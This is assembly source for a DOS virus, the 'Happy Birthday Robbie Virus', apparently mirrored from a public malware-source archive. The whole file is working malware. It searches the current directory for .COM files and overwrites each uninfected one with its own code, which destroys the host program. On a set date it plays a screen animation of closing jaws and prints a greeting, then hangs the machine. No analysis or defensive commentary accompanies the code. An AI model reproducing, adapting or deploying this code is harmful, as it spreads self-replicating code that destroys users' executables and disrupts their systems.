mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
225 lines
6.3 KiB
NASM
225 lines
6.3 KiB
NASM
;
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;Happy Birthday Robbie Virus
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;
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code segment 'CODE'
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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code_length equ finish - start
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lf equ 0Ah
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cr equ 0Dh
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start label near
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id_bytes proc near
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mov si,si ; Serves no purpose: our ID
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id_bytes endp
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main: mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds attribute mask
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mov dx,offset com_spec ; DX points to "*.COM"
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file_loop: int 021h
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jc exit_virus ; If there are no files, go
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; off
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call infect_file ; Try to infect found file
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jne exit_virus ; Exit if successful
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mov ah,04Fh ; DOS find next file function
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jmp short file_loop ; Repeat until out of files
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exit_virus:
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mov ah,2Ah
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int 21h
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cmp dl,3
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jne dos_drop
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cmp dh,10
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je eat_screen
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dos_drop: int 20h
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eat_screen: mov byte ptr count,0
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mov ah,00
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mov al,03
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int 10h
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mov ah,08
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int 10h
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mov byte ptr count2,al
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cmp byte ptr count2,00
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jne draw_face
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mov byte ptr count2,0fh
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draw_face:
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mov ah,01 ;set cursor type
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mov cl,00
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mov ch,40h
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int 10h
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mov cl,00
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mov dl,4fh
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mov ah,06 ;clear the display window
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mov al,00
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mov bh,0fh ;blank line attribs
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mov ch,00 ;starting at upper left corner
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mov cl,00 ; to
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mov dh,00 ;row 0
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mov dl,4fh ;column 4Fh
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int 10h
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mov ah,02 ;set cursor position
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mov dh,00 ;to row 0,
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mov dl,1fh ;column 1Fh
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mov bh,00 ;in graphics mode
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int 10h
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mov dx,offset eyes ;get the eyes
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mov ah,09 ;and draw them to screen
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mov bl,0fh ;this colour
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int 21h
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mov ah,02 ;reposition character
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mov dh,01 ;to row 1,
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mov dl,00 ;column 0
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int 10h
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mov ah,09 ;write character and attrib
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mov al,0dch ;character shape
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mov bl,0fh ;character colour
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mov cx,50h ;number of characters.
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int 10h
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mov ah,02 ;reposition cursor
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mov dh,18h ;to row 18h
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mov dl,00 ;column 0
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int 10h
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mov ah,09 ;write character & attribute
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mov al,0dfh ;character shape
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mov bl,0fh ;character colour
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mov cx,0050h ;number of characters
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int 10h
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mov dl,00 ;back to column 0
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make_teeth:
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mov ah,02 ;set cursor position
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mov dh,02 ;to row 2
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int 10h
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mov ah,09 ;write the character
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mov al,55h ; "U" for one top tooth
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mov bl,0fh ; colour code
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mov cx,1 ;only one tooth
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int 10h
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mov ah,02
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mov dh,17h ;row 17h
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inc dl ;increase column number
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int 10h
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mov ah,09 ;write a character there.
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mov al,0efh ;character "<22>" for bottom teeth
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mov bl,0fh ;colour code
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int 10h
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inc dl ;increment column number
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cmp dl,50h ;is there 50h of them yet?
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jl make_teeth ;make more if not
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mov byte ptr count,0 ;0 the counter
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pause_1:
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mov cx,7fffh
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a_loop:
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loop a_loop ;pause
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inc byte ptr count
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cmp byte ptr count,0ah
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jl pause_1
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mov byte ptr count,00
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mov cl,00 ;from column 0
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mov dl,4fh ;to column 79,
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close_jaws:
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mov ah,06 ;scroll the page up
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mov al,01 ;blanking a line
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mov bh,byte ptr count ;with this attribute
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mov ch,0dh ;and from row 13
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mov dh,18h ;to row 24
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int 10h
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mov ah,07 ;scroll downward
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mov al,01 ;blanking one line
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mov bh,byte ptr count ;with this attribute
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mov ch,00 ;from row 0
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mov dh,0ch ;to row 12
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int 10h
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mov cx,3fffh
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b_loop:
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loop b_loop ;pause
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inc byte ptr count
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cmp byte ptr count,0bh
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jl close_jaws
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mov byte ptr count,00
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pause_2:
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mov cx,7fffh
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finish_up:
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loop finish_up
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inc byte ptr count ;increment count by 1
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cmp byte ptr count,0ah ;is it a 10 yet?
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jl pause_2 ;no? loop again...
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mov ah,06 ;scroll page up
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mov al,00 ;blank entire window
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mov bh,byte ptr count ;with this attribute
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mov ch,00 ;from row 0,
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mov cl,00 ;column 0,
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mov dh,18h ;to row 18h
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mov dl,4fh ;column 79
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int 10h
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mov ah,01 ;reset cursor type
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mov cl,07
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mov ch,06 ;everything is back to normal
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int 10h
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mov si,offset rabid
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fuckin_loop: lodsb
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or al,al
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jz $
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mov ah, 0Eh
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int 10h
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jmp short fuckin_loop
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infect_file:
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mov ax,03D02h ; DOS open file function,
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; read-write
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mov dx,09Eh ; DX points to the victim
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,2 ; CX holds byte to read (2)
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mov dx,offset buffer ; DX points to buffer
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int 021h
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cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
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pushf ; Save flags
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je close_it_up ; If not, then file is OK
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cwd ; Zero CX \_ Zero bytes from
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; start
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mov cx,dx ; Zero DX /
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mov ax,04200h ; DOS file seek function,
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; start
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int 021h
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mov ah,040h ; DOS write to file function
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mov cx,code_length ; CX holds virus length
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mov dx,offset start ; DX points to start of virus
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int 021h
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close_it_up: mov ah,03Eh ; DOS close file function
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int 021h
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popf ; Restore flags
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ret ; Return to caller
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buffer dw ? ; Buffer to hold test data
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; Initialized data goes here
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com_spec db "*.COM",0 ; What to infect: all COM
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count db 0, 0
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count2 db 0, 0
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eyes db '(o) (o)$'
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dinked db '[Malmsey Habitat v. 1.3]', 0
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rabid db cr, lf
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db 'Warmest Regards to RABID', cr, lf
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db 'from -- ANARKICK SYSTEMS! ',0,'$'
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finish:
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code ends
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end start
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